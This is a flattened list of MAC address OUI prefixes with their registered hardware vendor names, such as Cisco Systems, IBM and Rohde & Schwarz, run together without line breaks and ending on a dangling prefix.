000F7D Xirrus 000F84 Astute Networks, Inc. 000F77 DENTUM CO.,LTD 000F71 Sanmei Electronics Co.,Ltd 000F78 Datacap Systems Inc 000F65 icube Corp. 000F5E Veo 000E71 Gemstar Technology Development Ltd. 000E6C Device Drivers Limited 000E65 TransCore 000E5F activ-net GmbH & Co. KG 000E60 360SUN Digital Broadband Corporation 000E52 Optium Corporation 000E46 Niigata Seimitsu Co.,Ltd. 000E4D Numesa Inc. 000E3F Soronti, Inc. 000EC5 Digital Multitools Inc 000EB8 Iiga co.,Ltd 000EB7 Knovative, Inc. 000EBE B&B Electronics Manufacturing Co. 000EB2 Micro-Research Finland Oy 000EAB Cray Inc 000EA5 BLIP Systems 000E9F TEMIC SDS GmbH 000E0A SAKUMA DESIGN OFFICE 000E12 Adaptive Micro Systems Inc. 000E04 CMA/Microdialysis AB 000DF7 Space Dynamics Lab 000DFE Hauppauge Computer Works, Inc. 000DF1 IONIX INC. 000DEB CompXs Limited 000DF2 Private 000DE4 DIGINICS, Inc. 000EF9 REA Elektronik GmbH 000EF2 Infinico Corporation 000EE0 Mcharge 000EDF PLX Technology 000EE6 Adimos Systems LTD 000ECA WTSS Inc 000ED1 Osaka Micro Computer. 000EDA C-TECH UNITED CORP. 000ED6 Cisco Systems, Inc 000E37 Harms & Wende GmbH & Co.KG 000E38 Cisco Systems, Inc 000E31 Olympus Soft Imaging Solutions GmbH 000E2A Private 000E25 Hannae Technology Co., Ltd 000E18 MyA Technology 000E17 Private 000E0E ESA elettronica S.P.A. 000C7E Tellium Incorporated 000C86 Cisco Systems, Inc 000C81 Schneider Electric (Australia) 000C72 Tempearl Industrial Co., Ltd. 000C79 Extel Communications P/L 000C66 Pronto Networks Inc 000C6B Kurz Industrie-Elektronik GmbH 000C6D Edwards Ltd. 000DDF Japan Image & Network Inc. 000DD2 Simrad Optronics ASA 000DD1 Stryker Corporation 000DD8 BBN 000DCC NEOSMART Corp. 000DBF TekTone Sound & Signal Mfg., Inc. 000DC0 Spagat AS 000DC5 EchoStar Global B.V. 000DB9 PC Engines GmbH 000D8C Shanghai Wedone Digital Ltd. CO. 000D8B T&D Corporation 000D85 Tapwave, Inc. 000D86 Huber + Suhner AG 000D7E Axiowave Networks, Inc. 000D78 Engineering & Security 000D77 FalconStor Software 000D6B Mita-Teknik A/S 000D65 Cisco Systems, Inc 000D5F Minds Inc 000D66 Cisco Systems, Inc 000CB1 Salland Engineering (Europe) BV 000CB7 Nanjing Huazhuo Electronics Co., Ltd. 000CBE Innominate Security Technologies AG 000CC3 BeWAN systems 000CB2 UNION co., ltd. 000CA5 Naman NZ LTd 000CAC Citizen Watch Co., Ltd. 000C94 United Electronic Industries, Inc. (EUI) 000C99 HITEL LINK Co.,Ltd 000CA0 StorCase Technology, Inc. 000C8D MATRIX VISION GmbH 000C92 WolfVision Gmbh 000D32 DispenseSource, Inc. 000D31 Compellent Technologies, Inc. 000D25 SANDEN CORPORATION 000D1F AV Digital 000D19 ROBE Show lighting 000D20 ASAHIKASEI TECHNOSYSTEM CO.,LTD. 000D0D ITSupported, LLC 000D12 AXELL Corporation 000DB2 Ammasso, Inc. 000DAD Dataprobe, Inc. 000D9E TOKUDEN OHIZUMI SEISAKUSYO Co.,Ltd. 000DA5 Fabric7 Systems, Inc 000D99 Orbital Sciences Corp.; Launch Systems Group 000D58 Private 000D4C Outline Electronics Ltd. 000D53 Beijing 5w Communication Corp. 000D3F VTI Instruments Corporation 000D44 Audio BU - Logitech 000D38 NISSIN INC. 000CD1 SFOM Technology Corp. 000CD6 PARTNER TECH 000CDD AOS technologies AG 000CCA HGST a Western Digital Company 000CC4 Tiptel AG 000D00 Seaway Networks Inc. 000D06 Compulogic Limited 000CFA Digital Systems Corp 000CFF MRO-TEK LIMITED 000CED Real Digital Media 000CEE jp-embedded 000CF3 CALL IMAGE SA 000CE7 MediaTek Inc. 000CE3 Option International N.V. 000B01 DAIICHI ELECTRONICS CO., LTD. 000AF0 SHIN-OH ELECTRONICS CO., LTD. R&D 000AF5 Airgo Networks, Inc. 000AEC Koatsu Gas Kogyo Co., Ltd. 000AE5 ScottCare Corporation 000AE7 ELIOP S.A. 000AE0 Fujitsu Softek 000AC8 ZPSYS CO.,LTD. (Planning&Management) 000ACD Sunrich Technology Limited 000AD4 CoreBell Systems Inc. 000B5E Audio Engineering Society Inc. 000B63 Kaleidescape 000B55 ADInstruments 000B5A HyperEdge 000B52 JOYMAX ELECTRONICS CO. LTD. 000B4D Emuzed 000B41 Ing. Büro Dr. Beutlhauser 000B46 Cisco Systems, Inc 000B33 Vivato Technologies 000B3A QuStream Corporation 000B3F Anthology Solutions Inc. 000B95 eBet Gaming Systems Pty Ltd 000B8F AKITA ELECTRONICS SYSTEMS CO.,LTD. 000B89 Top Global Technology, Ltd. 000B8E Ascent Corporation 000B90 ADVA Optical Networking Ltd. 000B7D SOLOMON EXTREME INTERNATIONAL LTD. 000B82 Grandstream Networks, Inc. 000B6F Media Streaming Networks Inc 000B76 ET&T Technology Co. Ltd. 000AC1 Futuretel 000AC6 Overture Networks. 000AAE Rosemount Process Analytical 000AB3 Fa. GIRA 000AB5 Digital Electronic Network 000ABA Arcon Technology Limited 000AA2 SYSTEK INC. 000AA7 FEI Electron Optics 000A8F Aska International Inc. 000A94 ShangHai cellink CO., LTD 000C4E Winbest Technology CO,LT 000C53 Private 000C5A IBSmm Embedded Electronics Consulting 000C5F Avtec, Inc. 000C47 SK Teletech(R&D Planning Team) 000C4C Arcor AG&Co. 000C3E Crest Audio 000C37 Geomation, Inc. 000C2D FullWave Technology Co., Ltd. 000C1A Quest Technical Solutions Inc. 000C1E Global Cache 000C23 Beijing Lanchuan Tech. Co., Ltd. 000C0E XtremeSpectrum, Inc. 000C15 CyberPower Systems, Inc. 000C09 Hitachi IE Systems Co., Ltd 000BD3 cd3o 000BC7 ICET S.p.A. 000BCE Free2move AB 000BC2 Corinex Communication Corp. 000BBB Etin Systems Co., Ltd 000BC0 China IWNComm Co., Ltd. 000BAF WOOJU COMMUNICATIONS Co,.Ltd 000BB4 RDC Semiconductor Inc., 000BA5 Quasar Cipta Mandiri, PT 000BAA Aiphone co.,Ltd 000B9E Yasing Technology Corp. 000B27 Scion Corporation 000B1B Systronix, Inc. 000B20 Hirata corporation 000B22 Environmental Systems and Services 000B14 ViewSonic Corporation 000B0D Air2U, Inc. 000B0F Bosch Rexroth 000B08 Pillar Data Systems 000AFC Core Tec Communications, LLC 000BF6 Nitgen Co., Ltd 000BFB D-NET International Corporation 000C02 ABB Oy 000BEA Zultys Technologies 000BEF Code Corporation 000BE3 Key Stream Co., Ltd. 000BE8 AOIP 000BE9 Actel Corporation 000BD7 DORMA Time + Access GmbH 000BDC AKCP 000994 Cronyx Engineering 000999 CP GEORGES RENAULT 000987 NISHI NIPPON ELECTRIC WIRE & CABLE CO.,LTD. 000988 Nudian Electron Co., Ltd. 00098D Velocity Semiconductor 000981 Newport Networks 000975 fSONA Communications Corporation 00097A Louis Design Labs. 000968 TECHNOVENTURE, INC. 000962 Sonitor Technologies AS 000A9B TB Group Inc 000A9A Aiptek International Inc 000A80 Telkonet Inc. 000A82 TATSUTA SYSTEM ELECTRONICS CO.,LTD. 000A87 Integrated Micromachines Inc. 000A7B Cornelius Consult 000A6D EKS Elektronikservice GmbH 000A6F ZyFLEX Technologies Inc 000A74 Manticom Networks Inc. 000A61 Cellinx Systems Inc. 0009C3 NETAS 0009B9 Action Imaging Solutions 0009BA MAKU Informationstechik GmbH 0009AC LANVOICE 0009B3 MCM Systems Ltd 0009A7 Bang & Olufsen A/S 00099A ELMO COMPANY, LIMITED 0009A0 Microtechno Corporation 0009ED CipherOptics 0009F2 Cohu, Inc., Electronics Division 0009E6 Cyber Switching Inc. 0009E0 XEMICS S.A. 0009DA Control Module Inc. 0009CD HUDSON SOFT CO.,LTD. 0009C7 Movistec 0009CE SpaceBridge Semiconductor Corp. 0009D3 Western DataCom Co., Inc. 000901 Shenzhen Shixuntong Information & Technoligy Co 0008FC Gigaphoton Inc. 0008F9 Artesyn Embedded Technologies 0008F4 Bluetake Technology Co., Ltd. 0008EB ROMWin Co.,Ltd. 0008E4 Envenergy Inc 0008DF Alistel Inc. 0008D8 Dowkey Microwave 0008D2 ZOOM Networks Inc. 0008CC Remotec, Inc. 0008D1 KAREL INC. 000967 Tachyon, Inc 00096E GIANT ELECTRONICS LTD. 00095E Masstech Group Inc. 000959 Sitecsoft 00094D Braintree Communications Pty Ltd 000952 Auerswald GmbH & Co. KG 000946 Cluster Labs GmbH 000940 AGFEO GmbH & Co. KG 00093F Double-Win Enterpirse CO., LTD 000933 Ophit Co.Ltd. 000A5C Carel s.p.a. 000A50 REMOTEK CORPORATION 000A55 MARKEM Corporation 000A4E UNITEK Electronics INC. 000A42 Cisco Systems, Inc 000A49 F5 Networks, Inc. 000A36 Synelec Telecom Multimedia 000A3B GCT Semiconductor, Inc 000A3D Elo Sistemas Eletronicos S.A. 000A2F Artnix Inc. 000927 TOYOKEIKI CO.,LTD. 00092E B&Tech System Inc. 000920 EpoX COMPUTER CO.,LTD. 00091B Digital Generation Inc. 000914 COMPUTROLS INC. 00090E Helix Technology Inc. 000908 VTech Technology Corp. 00090D LEADER ELECTRONICS CORP. 000A20 SVA Networks, Inc. 000A25 CERAGON NETWORKS 000A14 TECO a.s. 000A19 Valere Power, Inc. 000A0D FCI Deutschland GmbH 000A12 Azylex Technology, Inc 0009F9 ART JAPAN CO., LTD. 0009FC IPFLEX Inc. 000A03 ENDESA SERVICIOS, S.L. 000705 Endress & Hauser GmbH & Co 0006F8 The Boeing Company 0006FF Sheba Systems Co., Ltd. 0006FD Comjet Information Systems Corp. 0006E7 Bit Blitz Communications Inc. 0006ED Inara Networks 0006DC Syabas Technology (Amquest) 0006E1 Techno Trade s.a 0006E6 DongYang Telecom Co., Ltd. 0006CF Thales Avionics In-Flight Systems, LLC 0006D6 Cisco Systems, Inc 0006D5 Diamond Systems Corp. 0006C9 Technical Marketing Research, Inc. 0007B1 Equator Technologies 0007B8 Corvalent Corporation 0007B2 Transaccess S.A. 0007A4 GN Netcom Ltd. 0007AA Quantum Data Inc. 00079D Musashi Co., Ltd. 00079E Ilinx Co., Ltd. 000774 GuangZhou Thinker Technology Co. Ltd. 000791 International Data Communications, Inc. 000798 Selea SRL 000797 Netpower Co., Ltd. 00078B Wegener Communications, Inc. 000785 Cisco Systems, Inc 00077B Millimetrix Broadband Networks 000856 Gamatronic Electronic Industries Ltd. 00082D Indus Teqsite Private Limited 000821 Cisco Systems, Inc 000814 TIL Technologies 00081A Sanrad Intelligence Storage Communications (2000) Ltd. 00080F Proximion Fiber Optics AB 000809 Systemonic AG 000803 Cos Tron 0007FF Gluon Networks 0007F9 Sensaphone 000894 InnoVISION Multimedia Ltd. 00088F ADVANCED DIGITAL TECHNOLOGY 000888 OULLIM Information Technology Inc,. 000882 SIGMA CORPORATION 00087C Cisco Systems, Inc 000875 Acorp Electronics Corp. 000870 Rasvia Systems, Inc. 00086F Resources Computer Network Ltd. 000869 Command-e Technology Co.,Ltd. 000863 Entrisphere Inc. 00085D Aastra 000862 NEC Eluminant Technologies, Inc. 000850 Arizona Instrument Corp. 000738 Young Technology Co., Ltd. 00073F Woojyun Systec Co., Ltd. 00072C Fabricom 000733 DANCONTROL Engineering 000732 AAEON Technology Inc. 000716 J & S Marine Ltd. 00071B CDVI Americas Ltd 000722 The Nielsen Company 00070A Unicom Automation Co., Ltd. 00070F Fujant, Inc. 000709 Westerstrand Urfabrik AB 000702 Varian Medical Systems 0006F3 AcceLight Networks 0006C3 Schindler Elevator Ltd. 0006C8 Sumitomo Metal Micro Devices, Inc. 0006BF Accella Technologies Co., Ltd. 0006B9 A5TEK Corp. 0006B2 Linxtek Co. 0006AC Intersoft Co. 0006A6 Artistic Licence Engineering Ltd 0006A2 Microtune, Inc. 000695 Ensure Technologies, Inc. 00069C Transmode Systems AB 000696 Advent Networks 0007F3 Thinkengine Networks 0007EC Cisco Systems, Inc 0007F2 IOA Corporation 0007E6 edgeflow Canada Inc. 0007E0 Palm Inc. 0007D9 Splicecom 0007DA Neuro Telecom Co., Ltd. 0007D3 SPGPrints B.V. 0007CA Creatix Polymedia Ges Fur Kommunikaitonssysteme 0007C4 JEAN Co. Ltd. 0007BE DataLogic SpA 00077E Elrest GmbH 00076F Synoptics Limited 00076E Sinetica Corporation Limited 00076A NEXTEYE Co., Ltd. 00075E Ametek Power Instruments 000765 Jade Quantum Technologies, Inc. 000764 YoungWoo Telecom Co. Ltd. 000757 Topcall International AG 000758 Dragonwave 000752 Rhythm Watch Co., Ltd. 00074B Daihen Corporation 000745 Radlan Computer Communications Ltd. 0008C2 Cisco Systems, Inc 0008BB NetExcell 0008B5 TAI GUEN ENTERPRISE CO., LTD 0008B6 RouteFree, Inc. 0008AF Novatec Corporation 0008A9 SangSang Technology, Inc. 0008A8 Systec Co., Ltd. 0008A3 Cisco Systems, Inc 00089C Elecs Industry Co., Ltd. 000690 Euracom Communication GmbH 00068F Telemonitor, Inc. 000689 yLez Technologies Pte Ltd 000683 Bravara Communications, Inc. 00D0B9 MICROTEK INTERNATIONAL, INC. 00067D Takasago Ltd. 000675 Banderacom, Inc. 000679 Konami Corporation 000663 Human Technology Co., Ltd. 00066F Korea Data Systems 000662 MBM Technology Ltd. 000669 Datasound Laboratories Ltd 00055A Power Dsine Ltd. 00065C Malachite Technologies, Inc. 000610 Abeona Networks Inc 000616 Tel Net Co., Ltd. 00060A Blue2space 000604 @Track Communications, Inc. 00CBBD Cambridge Broadband Networks Ltd. 000603 Baker Hughes Inc. A06A00 Verilink Corporation 0005F5 Geospace Technologies 000601 Otanikeiki Co., Ltd. 0005E8 TurboWave, Inc. 0005F4 System Base Co., Ltd. 0005FB ShareGate, Inc. 0005DB PSI Nentec GmbH 0005DF Electronic Innovation, Inc. 0005CF Thunder River Technologies, Inc. 0005C9 LG Innotek Co., Ltd. 0005D5 Speedcom Wireless 0005BC Resource Data Management Ltd 0005C2 Soronti, Inc. 0005B0 Korea Computer Technology Co., Ltd. 00059C Kleinknecht GmbH, Ing. Büro 0005B6 INSYS Microelectronics GmbH 0005A2 CELOX Networks 0005AC Northern Digital, Inc. 0004E5 Glonet Systems, Inc. 0004D9 Titan Electronics, Inc. 0004D3 Toyokeiki Co., Ltd. 0004CC Peek Traffic B.V. 0004C0 Cisco Systems, Inc 0004B9 S.I. Soubou, Inc. 0004BA KDD Media Will Corporation 0004AF Digital Fountain, Inc. 0004B4 CIAC 0004B3 Videotek, Inc. 0004A6 SAF Tehnika Ltd. 0004A0 Verity Instruments, Inc. 00050C Network Photonics, Inc. 000512 Zebra Technologies Inc 000506 Reddo Networks AB 0004F6 Amphus 0004F5 SnowShore Networks, Inc. 0004E9 Infiniswitch Corporation 0004F0 International Computers, Ltd 0004EF Polestar Corp. 0004DF Teracom Telematica Ltda. 000553 DVC Company, Inc. 000548 Disco Corporation 00054D Brans Technologies, Inc. 000542 Otari, Inc. 00053C XIRCOM 00052F Leviton Network Solutions 00053B Harbour Networks Ltd., Co. Beijing 000535 Chip PC Ltd. 000529 Shanghai Broadan Communication Technology Co., Ltd 000523 AVL List GmbH 000522 LEA*D Corporation, Inc. 00051C Xnet Technology Corp. 000516 SMART Modular Technologies 000650 Tiburon Networks, Inc. 000656 Tactel AB 00062D TouchStar Technologies, L.L.C. 000649 3M Deutschland GmbH 000643 SONO Computer Co., Ltd. 00064A Honeywell Co., Ltd. (KOREA) 00063F Everex Communications Inc. 000639 Newtec 000633 Cross Match Technologies GmbH 000626 MWE GmbH 00061D MIP Telecom, Inc. 000623 MGE UPS Systems France 000589 National Datacomputer 000595 Alesis Corporation 00058F CLCsoft co. 000596 Genotech Co., Ltd. 00057D Sun Communications, Inc. 00057C RCO Security AB 000583 ImageCom Limited 000573 Cisco Systems, Inc 000572 Deonet Co., Ltd. 00056C Hung Chang Co., Ltd. 000566 Secui.com Corporation 000560 LEADER COMM.CO., LTD 000559 Intracom S.A. 0004A5 Barco Projection Systems NV 000499 Chino Corporation 00048DTeo Technologies, Inc 000493 Tsinghua Unisplendour Co., Ltd. 000484 Amann GmbH 00048A Temia Vertriebs GmbH 00047A AXXESSIT ASA 000474 LEGRAND 00046E Cisco Systems, Inc 000473 Photonex Corporation 000467 Wuhan Research Institute of MII 000461 EPOX Computer Co., Ltd. 0003D9 Secheron SA 0003D2 Crossbeam Systems, Inc. 0003CD Clovertech, Inc. 0003CA MTS Systems Corp. 0003C6 ICUE Systems, Inc. 0003BF Centerpoint Broadband Technologies, Inc. 0003BA Oracle Corporation 0003AF Paragea Communications 0003B4 Macrotek International Corp. 0003AC Fronius Schweissmaschinen 0003A8 IDOT Computers, Inc. 0003A1 HIPER Information & Communication, Inc. 000399 Dongju Informations & Communications Co., Ltd. 00039C OptiMight Communications, Inc. 000390 Digital Video Communications, Inc. 000395 California Amplifier 000380 SSH Communications Security Corp. 000374 Control Microsystems 0002F0 AME Optimedia Technology Co., Ltd. 000379 Proscend Communications, Inc. 000371 Acomz Networks Corp. 00036D Runtop, Inc. 0002E3 LITE-ON Communications, Inc. 0002DE Astrodesign, Inc. 0002DB NETSEC 0002D7 EMPEG Ltd 0002D2 Workstation AG 000223 ClickTV 0002CB TriState Ltd. 0002C4 Vector International BVBA 0002BF dotRocket, Inc. 0002BB Continuous Computing Corp 0002BC LVL 7 Systems, Inc. 0002B6 Acrosser Technology Co., Ltd. 0002AF TeleCruz Technology, Inc. 0002AA PLcom Co., Ltd. 00045B Techsan Electronics Co., Ltd. 00044E Cisco Systems, Inc 00044F Schubert System Elektronik Gmbh 000454 Quadriga UK 000445 LMS Skalar Instruments GmbH 00044A iPolicy Networks, Inc. 000444 Western Multiplex Corporation 00043E Telencomm 000432 Voyetra Turtle Beach, Inc. 000437 Powin Information Technology, Inc. 00042B IT Access Co., Ltd. 000361 Widcomm, Inc. 00035A Photron Limited 000355 TeraBeam Internet Systems 000353 Mitac, Inc. 00034F Sur-Gard Security 00034A RIAS Corporation 000346 Hitachi Kokusai Electric, Inc. 000344 Tietech.Co., Ltd. 000343 Martin Professional A/S 000334 Newport Electronics 000337 Vaone, Inc. 00033C Daiden Co., Ltd. 000329 F3, Inc. 000330 Imagenics, Co., Ltd. 000321 Reco Research Co., Ltd. 000324 SANYO Consumer Electronics Co., Ltd. 00031B Cellvision Systems, Inc. 0001A8 Welltech Computer Co., Ltd. 00030F Digital China (Shanghai) Networks Ltd. 000314 Teleware Network Systems 00030C Telesoft Technologies Ltd. 000308 AM Communications, Inc. 0002FC Cisco Systems, Inc 000301 EXFO 0002F9 MIMOS Berhad 0002F5 VIVE Synergies, Inc. 0002EA Focus Enhancements 000269 Nadatel Co., Ltd 000265 Virditech Co. Ltd. 00025E High Technology Ltd 000259 Tsann Kuen China (Shanghai)Enterprise Co., Ltd. IT Group 000255 IBM Corp 000249 Aviv Infocom Co, Ltd. 000250 Geyser Networks, Inc. 000242 Videoframe Systems 000244 SURECOM Technology Co. 00022C ABB Bomem, Inc. 00023A ZSK Stickmaschinen GmbH 000425 Atmel Corporation 000419 Fibercycle Networks, Inc. 00041A Ines Test and Measurement GmbH & CoKG 000414 Umezawa Musen Denki Co., Ltd. 000407 Topcon Positioning Systems, Inc. 0003F7 Plast-Control GmbH 0003FE Cisco Systems, Inc 0003FD Cisco Systems, Inc 000401 Osaki Electric Co., Ltd. 0003F0 Redfern Broadband Networks 0003EB Atrica 0003E5 Hermstedt SG 0002A3 ABB Switzerland Ltd, Power Systems 000298 Broadframe Corporation 000292 Logic Innovations, Inc. 00028D Movita Technologies, Inc. 000283 Spectrum Controls, Inc. 000277 Cash Systemes Industrie 00027C Trilithic, Inc. 000275 SMART Technologies, Inc. 000270 Crewave Co., Ltd. 000104 DVICO Co., Ltd. 000110 Gotham Networks 00010C System Talks Inc. 000113 OLYMPUS CORPORATION 000100 EQUIP'TRANS 00B0AC SIAE-Microelettronica S.p.A. 00B017 InfoGear Technology Corp. 0030F0 Uniform Industrial Corp. 00B080 Mannesmann Ipulsys B.V. 00B09A Morrow Technologies Corp. 00B091 Transmeta Corp. 0030BE City-Net Technology, Inc. 000233 Mantra Communications, Inc. 00022F P-Cube, Ltd. 000227 ESD Electronic System Design GmbH 00021F Aculab PLC 00021B Kollmorgen-Servotronix 00020C Metro-Optix 000218 Advanced Scientific Corp 000213 S.D.E.L. 00020F AATR 0001F9 TeraGlobal Communications Corp. 000200 Net & Sys Co., Ltd. 0001FC Keyence Corporation 0001F3 QPS, Inc. 0001E4 Sitera, Inc. 0001EB C-COM Corporation 0001F0 Tridium, Inc. 0001D4 Leisure Time, Inc. 0001D8 Teltronics, Inc. 0001C6 Quarry Technologies 0001CC Japan Total Design Communication Co., Ltd. 0001D1 CoNet Communications, Inc. 0001B3 Precision Electronic Manufacturing 000160 ELMEX Co., LTD. 00015E BEST TECHNOLOGY CO., LTD. 000162 Cygnet Technologies, Inc. 000169 Celestix Networks Pte Ltd. 000175 Radiant Communications Corp. 000159 S1 Corporation 000165 AirSwitch Corporation 000171 Allied Data Technologies 000157 SYSWAVE CO., LTD 000153 ARCHTEK TELECOM CORPORATION 003038 XCP, INC. 0030DB Mindready Solutions, Inc. 00306A PENTA MEDIA CO., LTD. 003021 HSING TECH. ENTERPRISE CO.,LTD 0030EA TeraForce Technology Corporation 0030F4 STARDOT TECHNOLOGIES 003087 VEGA GRIESHABER KG 003000 ALLWELL TECHNOLOGY CORP. 003034 SET ENGINEERING 00308D Pinnacle Systems, Inc. 00304B ORBACOM SYSTEMS, INC. 0030FA TELICA, INC. 0001B1 General Bandwidth 0001BB Frequentis 0001B7 Centos, Inc. 0001AF Artesyn Embedded Technologies 0001AB Main Street Networks 000191 SYRED Data Systems 00019D E-Control Systems, Inc. 0001A4 Microlink Corporation 000199 HeiSei Electronics 0001A0 Infinilink Corporation 00017C AG-E GmbH 000188 LXCO Technologies ag 000178 MARGI Systems, Inc. 00018B NetLinks Co., Ltd. 0030F5 Wild Lab. Ltd. 000184 SIEB & MEYER AG 00303E Radcom Ltd. 0030D7 Innovative Systems, L.L.C. 0030FC Terawave Communications, Inc. 00300F IMT - Information Management T 003004 LEADTEK RESEARCH INC. 003018 Jetway Information Co., Ltd. 003088 Ericsson 0030CA Discovery Com 00304F PLANET Technology Corporation 00014B Ennovate Networks, Inc. 00012C Aravox Technologies, Inc. 000134 Selectron Systems AG 00013B BNA SYSTEMS 000147 Zhone Technologies 00012B TELENET Co., Ltd. 00011C Universal Talkware Corporation 00011F RC Networks, Inc. 003045 Village Networks, Inc. (VNI) 0030BB CacheFlow, Inc. 003053 Basler AG 003072 Intellibyte Inc. 0030B1 TrunkNet 0030A7 SCHWEITZER ENGINEERING 00D086 FOVEON, INC. 00D05A SYMBIONICS, LTD. 00D01A URMETTLC S.P.A. 00D0F3 SOLARI DI UDINE SPA 00D089 DYNACOLOR, INC. 00D08D PHOENIX GROUP, INC. 00D09C KAPADIA COMMUNICATIONS 00D0FE ASTRAL POINT 00D0DC MODULAR MINING SYSTEMS, INC. 00D062 DIGIGRAM 00D0A7 TOKYO SOKKI KENKYUJO CO., LTD. 00D032 YANO ELECTRIC CO., LTD. 00D054 SAS INSTITUTE INC. 00D0EB LIGHTERA NETWORKS, INC. 00D01E PINGTEL CORP. 00D0A9 SHINANO KENSHI CO., LTD. 0030E9 GMA COMMUNICATION MANUFACT'G 003027 KERBANGO, INC. 0030F6 SECURELOGIX CORPORATION 0030B6 Cisco Systems, Inc 0030B2 L-3 Sonoma EO 0030D6 MSC VERTRIEBS GMBH 003008 AVIO DIGITAL, INC. 00306D LUCENT TECHNOLOGIES 0030E4 CHIYODA SYSTEM RIKEN 00301A SMARTBRIDGES PTE. LTD. 0030CD CONEXANT SYSTEMS, INC. 003001 SMP 0030E1 Network Equipment Technologies, Inc. 0050A7 Cisco Systems, Inc 00D0EE DICTAPHONE CORPORATION 00D0B8 Iomega Corporation 005045 RIOWORKS SOLUTIONS, INC. 00507C VIDEOCON AG 005065 TDK-Lambda Corporation 0050F4 SIGMATEK GMBH & CO. KG 005076 IBM Corp 005075 KESTREL SOLUTIONS 005090 DCTRI 0050ED ANDA NETWORKS 005096 SALIX TECHNOLOGIES, INC. 00509B SWITCHCORE AB 0050A9 MOLDAT WIRELESS TECHNOLGIES 00503C TSINGHUA NOVEL ELECTRONICS 005030 FUTURE PLUS SYSTEMS 005037 KOGA ELECTRONICS CO. 00501F MRG SYSTEMS, LTD. 005092 Rigaku Corporation Osaka Plant 00501C JATOM SYSTEMS, INC. 00505C TUNDO CORPORATION 005068 ELECTRONIC INDUSTRIES ASSOCIATION 00501A IQinVision 005063 OY COMSEL SYSTEM AB 0050DE SIGNUM SYSTEMS CORP. 00507B MERLOT COMMUNICATIONS 005078 MEGATON HOUSE, LTD. 00508F ASITA TECHNOLOGIES INT'L LTD. 005057 BROADBAND ACCESS SYSTEMS 005087 TERASAKI ELECTRIC CO., LTD. 00D03E ROCKETCHIPS, INC. 00D03F AMERICAN COMMUNICATION 00D033 DALIAN DAXIAN NETWORK 00D090 Cisco Systems, Inc 00D0B6 CRESCENT NETWORKS, INC. 00D0D2 EPILOG CORPORATION 0050B6 GOOD WAY IND. CO., LTD. 0050FF HAKKO ELECTRONICS CO., LTD. 005032 PICAZO COMMUNICATIONS, INC. 0050DA 3COM CORPORATION 0050F9 Sensormatic Electronics LLC 0050F6 PAN-INTERNATIONAL INDUSTRIAL CORP. 00506C Beijer Electronics Products AB 0050A5 CAPITOL BUSINESS SYSTEMS, LTD. 005000 NEXO COMMUNICATIONS, INC. 00D066 WINTRISS ENGINEERING CORP. 00D06F KMC CONTROLS 00D04B LA CIE GROUP S.A. 00D002 DITECH CORPORATION 00D0A6 LANBIRD TECHNOLOGY CO., LTD. 00D0DE PHILIPS MULTIMEDIA NETWORK 00D083 INVERTEX, INC. 00D038 FIVEMERE, LTD. 00D00C SNIJDER MICRO SYSTEMS 00D0F2 MONTEREY NETWORKS 00D07B COMCAM INTERNATIONAL INC 00D05D INTELLIWORXX, INC. 00D00D MICROMERITICS INSTRUMENT 00D04C EUROTEL TELECOM LTD. 00D0FD OPTIMA TELE.COM, INC. 0030D8 SITEK 003062 IP Video Networks Inc 003081 ALTOS C&C 00D0B0 BITSWITCH LTD. 00D044 ALIDIAN NETWORKS, INC. 00D004 PENTACOM LTD. 00D045 KVASER AB 00D0D0 ZHONGXING TELECOM LTD. 00902C DATA & CONTROL EQUIPMENT LTD. 009049 ENTRIDIA CORPORATION 009043 Tattile SRL 009076 FMT AIRCRAFT GATE SUPPORT SYSTEMS AB 009017 Zypcom, Inc 00907B E-TECH, INC. 00102A ZF MICROSYSTEMS, INC. 00107D AURORA COMMUNICATIONS, LTD. 00101C OHM TECHNOLOGIES INTL, LLC 00106C EDNT GmbH 0010D4 STORAGE COMPUTER CORPORATION 0010BF InterAir Wireless 001036 INTER-TEL INTEGRATED SYSTEMS 001026 ACCELERATED NETWORKS, INC. 00104B 3COM CORPORATION 000629 IBM Corp 001004 THE BRANTLEY COILE COMPANY,INC 00103A DIAMOND NETWORK TECH 0010D8 CALISTA 001031 OBJECTIVE COMMUNICATIONS, INC. 00107E BACHMANN ELECTRONIC GmbH 0010C0 ARMA, Inc. 001016 T.SQWARE 00103D PHASECOM, LTD. 0010C2 WILLNET, INC. 00107A AmbiCom, Inc. 0010C4 MEDIA GLOBAL LINKS CO., LTD. 0010EB SELSIUS SYSTEMS, INC. 0010FE DIGITAL EQUIPMENT CORPORATION 00102E NETWORK SYSTEMS & TECHNOLOGIES PVT. LTD. 00103E NETSCHOOLS CORPORATION 001049 ShoreTel, Inc 00105E Spirent plc, Service Assurance Broadband 005088 AMANO CORPORATION 0050A8 OpenCon Systems, Inc. 005062 KOUWELL ELECTRONICS CORP.** 0050B1 GIDDINGS & LEWIS 00500C e-Tek Labs, Inc. 005091 NETACCESS, INC. 005097 MMC-EMBEDDED COMPUTERTECHNIK GmbH 0050AF INTERGON, INC. 0050EB ALPHA-TOP CORPORATION 0050BC HAMMER STORAGE SOLUTIONS 0090C3 TOPIC SEMICONDUCTOR CORP. 0090EC PYRESCOM 00903B TriEMS Research Lab, Inc. 009074 ARGON NETWORKS, INC. 0090C1 Peco II, Inc. 0010D3 GRIPS ELECTRONIC GMBH 0010ED SUNDANCE TECHNOLOGY, INC. 001023 Network Equipment Technologies 00104E CEOLOGIC 0010FB ZIDA TECHNOLOGIES LIMITED 0010AD SOFTRONICS USB, INC. 0010D5 IMASDE CANARIAS, S.A. 0010E5 SOLECTRON TEXAS 00909D NovaTech Process Solutions, LLC 009038 FOUNTAIN TECHNOLOGIES, INC. 0090C5 INTERNET MAGIC, INC. 0090AD ASPECT ELECTRONICS, INC. 009097 Sycamore Networks 009008 HanA Systems Inc. 0090D4 BindView Development Corp. 009089 SOFTCOM MICROSYSTEMS, INC. 0090C4 JAVELIN SYSTEMS, INC. 009014 ROTORK INSTRUMENTS, LTD. 0090B5 NIKON CORPORATION 0090C6 OPTIM SYSTEMS, INC. 00909B MARKEM-IMAJE 00905B RAYMOND AND LAE ENGINEERING 0090E8 MOXA TECHNOLOGIES CORP., LTD. 0090A1 Flying Pig Systems/High End Systems Inc. 0090FD CopperCom, Inc. 0090AC OPTIVISION, INC. 00902A COMMUNICATION DEVICES, INC. 009098 SBC DESIGNS, INC. 0090CF NORTEL 00900F KAWASAKI HEAVY INDUSTRIES, LTD 009036 ens, inc. 0090E9 JANZ COMPUTER AG 009032 PELCOMBE GROUP LTD. 0090B8 ROHDE & SCHWARZ GMBH & CO. KG 0090BE IBC/INTEGRATED BUSINESS COMPUTERS 009062 ICP VORTEX COMPUTERSYSTEME GmbH 00108F 